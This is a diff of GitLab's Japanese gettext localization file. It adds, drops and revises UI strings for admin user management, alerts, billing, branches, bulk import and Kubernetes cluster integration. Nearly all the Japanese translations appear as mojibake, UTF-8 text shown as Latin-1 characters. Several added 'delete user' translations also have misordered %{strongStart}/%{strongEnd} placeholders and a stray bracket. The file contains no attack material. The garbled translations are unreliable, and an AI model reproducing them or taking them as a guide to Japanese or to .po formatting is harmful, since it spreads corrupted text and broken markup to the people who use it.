+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr "ブロック解除"
msgid "AdminUsers|Unblock user"
-msgstr ""
+msgstr "ユーザーã®ã‚’ブロックを解除"
msgid "AdminUsers|Unblock user %{username}?"
msgstr "ユーザー %{username} ã®ãƒ–ロックを解除ã—ã¾ã™ã‹?"
@@ -2562,6 +2608,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "ユーザーã¯gitリãƒã‚¸ãƒˆãƒªã«ã‚¢ã‚¯ã‚»ã‚¹ã§ããªããªã‚Šã¾ã™"
@@ -2574,6 +2626,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2593,9 +2648,12 @@ msgid "AdminUsers|Without projects"
msgstr "プロジェクトãªã—"
msgid "AdminUsers|You are about to permanently delete the user %{username}. Issues, merge requests, and groups linked to them will be transferred to a system-wide \"Ghost-user\". To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
-msgstr ""
+msgstr "ã‚ãªãŸã¯ãƒ¦ãƒ¼ã‚¶ãƒ¼ %{username} を完全ã«å‰Šé™¤ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚ユーザーã«ãƒªãƒ³ã‚¯ã—ã¦ã„ã‚‹ã€èª²é¡Œã€ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã€ãŠã‚ˆã³ã‚°ãƒ«ãƒ¼ãƒ—ã¯ã€ã‚·ã‚¹ãƒ†ãƒ å…¨ä½“ã®ã€ŒGhost ユーザーã€ã«è»¢é€ã•ã‚Œã¾ã™ã€‚データã®æ失をé¿ã‘ã‚‹ãŸã‚ã«ã¯ã€å‰Šé™¤ã®ä»£ã‚ã‚Šã«%{strongEnd} ユーザーã®ãƒ–ロック機能%{strongStart}を使用ã™ã‚‹ã“ã¨ã‚’検討ã—ã¦ãã ã•ã„。%{strongEnd}] ユーザーã®å‰Šé™¤ %{strongStart}ã™ã‚‹ã¨ã€å…ƒã«æˆ»ã™ã“ã¨ã¯ã§ãã¾ã›ã‚“ã—復元もã§ãã¾ã›ã‚“。"
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
+msgstr "ã‚ãªãŸã¯ãƒ¦ãƒ¼ã‚¶ãƒ¼ %{username}を完全ã«å‰Šé™¤ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚ユーザーã«ãƒªãƒ³ã‚¯ã—ã¦ã„ã‚‹ã€èª²é¡Œã€ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã€ãŠã‚ˆã³ã‚°ãƒ«ãƒ¼ãƒ—ã¯å‰Šé™¤ã•ã‚Œã¾ã™ã€‚データã®æ失をé¿ã‘ã‚‹ãŸã‚ã«ã¯ã€å‰Šé™¤ã®ä»£ã‚ã‚Šã«%{strongEnd} ユーザーã®ãƒ–ロック機能%{strongStart}を使用ã™ã‚‹ã“ã¨ã‚’検討ã—ã¦ãã ã•ã„。%{strongEnd}] ユーザーã®å‰Šé™¤ %{strongStart}ã™ã‚‹ã¨ã€å…ƒã«æˆ»ã™ã“ã¨ã¯ã§ãã¾ã›ã‚“ã—復元もã§ãã¾ã›ã‚“。"
+
+msgid "AdminUsers|You ban their account in the future if necessary."
msgstr ""
msgid "AdminUsers|You can always block their account again if needed."
@@ -2610,6 +2668,9 @@ msgstr "アカウントをã„ã¤ã§ã‚‚å†åº¦æœ‰åŠ¹ã«ã™ã‚‹ã“ã¨ã¯ã§ãã¾ã™
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr "アカウントã®ãƒ–ロックをã„ã¤ã§ã‚‚解除ã§ãã¾ã™ã€‚データã¯ãã®ã¾ã¾æ®‹ã‚Šã¾ã™ã€‚"
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr "ã‚ãªãŸã¯è‡ªèº«ã®ç®¡ç†è€…権é™ã‚’削除ã§ãã¾ã›ã‚“。"
@@ -2655,9 +2716,6 @@ msgstr "高度ãªè¨­å®š"
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr "高度ãªè¨­å®š"
@@ -2695,9 +2753,6 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] "アラート"
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr "確èªæ¸ˆã¿"
@@ -2807,7 +2862,7 @@ msgid "AlertManagement|Status"
msgstr "状態"
msgid "AlertManagement|Surface alerts in GitLab"
-msgstr ""
+msgstr "GitLab ã§ã‚¢ãƒ©ãƒ¼ãƒˆã‚’表示ã™ã‚‹"
msgid "AlertManagement|There was an error displaying the alert. Please refresh the page to try again."
msgstr "アラートã®è¡¨ç¤ºä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã“ã®ãƒšãƒ¼ã‚¸ã‚’æ›´æ–°ã—ã¦å†åº¦ãŠè©¦ã—ãã ã•ã„。"
@@ -2819,7 +2874,7 @@ msgid "AlertManagement|There was an error while updating the assignee(s) list. P
msgstr "担当者リストã®æ›´æ–°ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
msgid "AlertManagement|There was an error while updating the assignee(s) of the alert. Please try again."
-msgstr ""
+msgstr "アラートã®æ‹…当者ã®æ›´æ–°ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
msgid "AlertManagement|There was an error while updating the status of the alert."
msgstr ""
@@ -3067,9 +3122,6 @@ msgstr "ã™ã¹ã¦ã®ç’°å¢ƒ"
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr "空ã®ãƒ—ロジェクトã€ãƒ†ãƒ³ãƒ—レートã‹ã‚‰ã€ã¾ãŸã¯ã‚¤ãƒ³ãƒãƒ¼ãƒˆæ™‚ã«ã™ã¹ã¦ã®æ©Ÿèƒ½ãŒæœ‰åŠ¹ã«ãªã£ã¦ã„ã¾ã™ãŒã€å¾Œã§ãƒ—ロジェクト設定ã§ç„¡åŠ¹ã«ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
-
msgid "All groups and projects"
msgstr "全グループã¨ãƒ—ロジェクト"
@@ -3167,11 +3219,14 @@ msgid "Allow users to request access (if visibility is public or internal)"
msgstr "ユーザーãŒã‚¢ã‚¯ã‚»ã‚¹ã‚’リクエストã§ãるよã†ã«ã™ã‚‹(å¯è¦–性ãŒãƒ‘ブリックã¾ãŸã¯å†…部ã®å ´åˆ)"
msgid "Allowed"
-msgstr ""
+msgstr "許å¯"
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr "メールドメイン制é™ã¯ã€æœ€ä¸Šä½ã‚°ãƒ«ãƒ¼ãƒ—ã«ã®ã¿è¨±å¯ã•ã‚Œã¾ã™"
@@ -3385,6 +3440,9 @@ msgstr "ラベルã®è‰²ã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
msgid "An error occurred while fetching markdown preview"
msgstr "Markdown プレビューã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3478,9 +3536,6 @@ msgstr "イシューã®èª­ã¿è¾¼ã¿ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
msgid "An error occurred while loading merge requests."
msgstr "マージリクエストã®ãƒ­ãƒ¼ãƒ‰ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3550,7 +3605,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr "イシューã®ä¸¦ã¹æ›¿ãˆä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4019,6 +4074,9 @@ msgstr "承èªè€…"
msgid "Approvers"
msgstr "承èªè€…"
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "4月"
@@ -4049,16 +4107,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr "アーカイブã•ã‚ŒãŸãƒ—ロジェクトã§ã™ã€‚リãƒã‚¸ãƒ‰ãƒªãŠã‚ˆã³ãã®ä»–ã®ãƒ—ロジェクトリソースã¯èª­ã¿å–り専用ã§ã™ã€‚"
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr "ã“ã®ãƒ—ロジェクトã¯ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–ã•ã‚Œã¦ã„ã¾ã™ã€‚リãƒã‚¸ãƒˆãƒªãŠã‚ˆã³ãã®ä»–ã®ãƒ—ロジェクトリソースã¯èª­ã¿å–り専用ã§ã™"
msgid "Archived projects"
msgstr "アーカイブã•ã‚ŒãŸãƒ—ロジェクト"
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4634,7 +4689,7 @@ msgstr "Let's Encryptを用ã„ãŸè‡ªå‹•è¨¼æ˜Žæ›¸ç®¡ç†"
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4703,6 +4758,9 @@ msgstr "背景色"
msgid "Background Jobs"
msgstr "ãƒãƒƒã‚¯ã‚°ãƒ©ã‚¦ãƒ³ãƒ‰ã‚¸ãƒ§ãƒ–"
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr "背景色"
@@ -4859,6 +4917,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4877,6 +4938,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr "å„プランã®è©³ç´°ã«ã¤ã„ã¦ã¯ã€ %{pricing_page_link} ã‚’ã”確èªãã ã•ã„。"
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr "プランã®ç®¡ç†"
@@ -4892,6 +4956,9 @@ msgstr "ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—ã¯ã€è¦ªã‚°ãƒ«ãƒ¼ãƒ—ã¨åŒã˜ãƒ—ランを使用ã—ã¾
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr "ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—ã®ãƒ—ランã®ç®¡ç†ã¯ã€%{parent_billing_page_link} ã®è«‹æ±‚ã®ã‚»ã‚¯ã‚·ãƒ§ãƒ³ã‚’ã”覧ãã ã•ã„。"
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -4910,6 +4977,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr "FAQ 集"
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr "月é¡"
@@ -4925,6 +4995,27 @@ msgstr "アップグレード"
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -4937,6 +5028,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -4946,6 +5040,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5171,6 +5271,9 @@ msgstr "アクティブブランãƒ"
msgid "Branches|All"
msgstr "ã™ã¹ã¦"
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr "ã“ã®ãƒ–ランãƒã«ã¯HEADコミットãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸ"
@@ -5183,6 +5286,9 @@ msgstr "'%{default_branch}'ã«ãƒžãƒ¼ã‚¸ã•ã‚ŒãŸã™ã¹ã¦ã®ãƒ–ランãƒã‚’削é™
msgid "Branches|Delete branch"
msgstr "ブランãƒã‚’削除"
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr "マージã•ã‚ŒãŸãƒ–ランãƒã‚’削除"
@@ -5192,6 +5298,12 @@ msgstr "ä¿è­·ãƒ–ランãƒã‚’削除"
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr "ä¿è­·ãƒ–ランム'%{branch_name}' を削除ã—ã¾ã™ã‹ï¼Ÿ"
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr "'%{branch_name}' ブランãƒã‚’削除ã—ãŸã‚‰å…ƒã«ã¯æˆ»ã›ã¾ã›ã‚“。よã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
@@ -5213,12 +5325,18 @@ msgstr "表示ã™ã‚‹ãƒ–ランãƒã¯ã‚ã‚Šã¾ã›ã‚“"
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr "ã‚‚ã†ä¸€åº¦ç¢ºèªã— %{delete_protected_branch} を押ã—ã¦ãã ã•ã„。æ“作後ã€å…ƒã«æˆ»ã™ã“ã¨ã¯ã§ãã¾ã›ã‚“。"
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr "プロジェクト㮠Maintainer 㨠Owner ã ã‘ãŒä¿è­·ãƒ–ランãƒã‚’削除ã§ãã¾ã™"
msgid "Branches|Overview"
msgstr "概è¦"
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr "ä¿è­·ãƒ–ランãƒã¯ %{project_settings_link} ã‹ã‚‰è¨­å®šå¤‰æ›´ã§ãã¾ã™ã€‚"
@@ -5252,6 +5370,9 @@ msgstr "ã“ã®ãƒ–ランãƒã¯ã‚¢ãƒƒãƒ—ストリームã‹ã‚‰åˆ†å²ã—ã¦ã„ã‚‹ãŸ
msgid "Branches|The default branch cannot be deleted"
msgstr "デフォルトブランãƒã¯å‰Šé™¤ã§ãã¾ã›ã‚“"
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr "ã“ã®ãƒ–ランãƒã¯%{default_branch} ã«ãƒžãƒ¼ã‚¸ã•ã‚Œã¦ã„ã¾ã›ã‚“"
@@ -5264,6 +5385,18 @@ msgstr "確èªã®ãŸã‚ã€%{branch_name_confirmation} を入力ã—ã¦ãã ã•ã
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr "ローカルã®å¤‰æ›´å†…容を破棄ã—ã¦ã€ã‚¢ãƒƒãƒ—ストリームã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ãƒ–ランãƒã‚’上書ãã™ã‚‹ã«ã¯ã€ã“ã“ã§ãれらを削除ã—ã€ä¸Šã®ã€Œä»Šã™ãæ›´æ–°ã€ã‚’クリックã—ã¦ãã ã•ã„。"
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr "ä¿è­·ãƒ–ランム%{branch_name} を削除ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚"
@@ -5333,6 +5466,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5345,9 +5481,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5414,9 +5556,6 @@ msgstr "%{user_name} ã«ã‚ˆã‚‹"
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr "デフォルトã§ã¯ã€GitLabã¯HTMLå½¢å¼ã¨ãƒ—レーンテキスト形å¼ã®ä¸¡ãƒ•ã‚©ãƒ¼ãƒžãƒƒãƒˆã®ãƒ¡ãƒ¼ãƒ«ã‚’é€ä¿¡ã—ã¾ã™ã€‚ãã®ãŸã‚ã€ãƒ¡ãƒ¼ãƒ«ã‚¯ãƒ©ã‚¤ã‚¢ãƒ³ãƒˆã¯ã©ã¡ã‚‰ã®ãƒ•ã‚©ãƒ¼ãƒžãƒƒãƒˆã‚’表示ã™ã‚‹ã‹ã‚’é¸ã¹ã¾ã™ã€‚ã‚‚ã—プレーンテキスト形å¼ã ã‘ã§ãƒ¡ãƒ¼ãƒ«ã‚’é€ä¿¡ã—ãŸã„å ´åˆã¯ã€ã“ã®ã‚ªãƒ—ションを無効ã«ã—ã¾ã™"
@@ -5465,15 +5604,15 @@ msgstr "CI/CD 設定"
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr "外部リãƒã‚¸ãƒˆãƒªç”¨ CI/CD"
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5481,6 +5620,9 @@ msgid "CICDAnalytics|Release"
msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6174,8 +6316,8 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr "変更内容を確èªã—ãŸã‚Šãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’作æˆã™ã‚‹ãŸã‚ã«ã€Branch/tag (例: %{master}) ã‚’é¸æŠžã™ã‚‹ã‹ã€ã‚³ãƒŸãƒƒãƒˆID(例: %{sha})を入力ã—ã¦ãã ã•ã„。"
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgstr ""
msgid "Choose a file"
msgstr "ファイルをé¸æŠžã—ã¦ãã ã•ã„"
@@ -6558,72 +6700,6 @@ msgstr "ã“ã® %{quick_action_target} ã‚’é–‰ã˜ã‚‹ã€‚"
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr "クラスター"
@@ -6786,6 +6862,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6828,12 +6910,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr "ベースドメイン"
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr "ブロックモード"
-
msgid "ClusterIntegration|CA Certificate"
msgstr "CA 証明書"
@@ -6996,6 +7072,9 @@ msgstr "Elastic Stack"
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr "Cloud Run for Anthos 有効化"
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7080,9 +7159,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr "GitLabマãƒãƒ¼ã‚¸ãƒ‰ã‚¯ãƒ©ã‚¹ã‚¿ãƒ¼"
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr "Google Cloud Platform プロジェクト"
@@ -7143,7 +7219,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7239,9 +7315,6 @@ msgstr "サブãƒãƒƒãƒˆã‚’ロード"
msgid "ClusterIntegration|Loading subnetworks"
msgstr "サブãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯ã®ãƒ­ãƒ¼ãƒ‰ä¸­"
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr "マシンタイプ"
@@ -7254,9 +7327,6 @@ msgstr "Kubernetes クラスター を作æˆã™ã‚‹ã«ã¯ã€ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã® %{
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr "%{provider_link} ã«ã‚¢ã‚¯ã‚»ã‚¹ã—㦠Kubernetes クラスターを管ç†"
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7353,9 +7423,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr "çµ±åˆKubernetesクラスターã«ã¤ã„ã¦ã¯ã€%{link_start}ヘルプページ%{link_end}ã‚’ã”覧ãã ã•ã„。"
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr "リアルタイムWebアプリケーションã®ç›£è¦–ã€ãƒ­ã‚®ãƒ³ã‚°ã€ã‚¢ã‚¯ã‚»ã‚¹ã‚³ãƒ³ãƒˆãƒ­ãƒ¼ãƒ«ã€‚ %{linkStart} 詳細 %{linkEnd}"
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr "Kubernetes クラスターã®çµ±åˆã‚’削除"
@@ -7494,9 +7561,6 @@ msgstr "ゾーンをé¸æŠžã—ã¦ãƒžã‚·ãƒ³ã‚¿ã‚¤ãƒ—ã‚’é¸æŠž"
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr "サービストークン"
@@ -7509,9 +7573,6 @@ msgstr "サービストークンãŒå¿…è¦ã§ã™ã€‚"
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
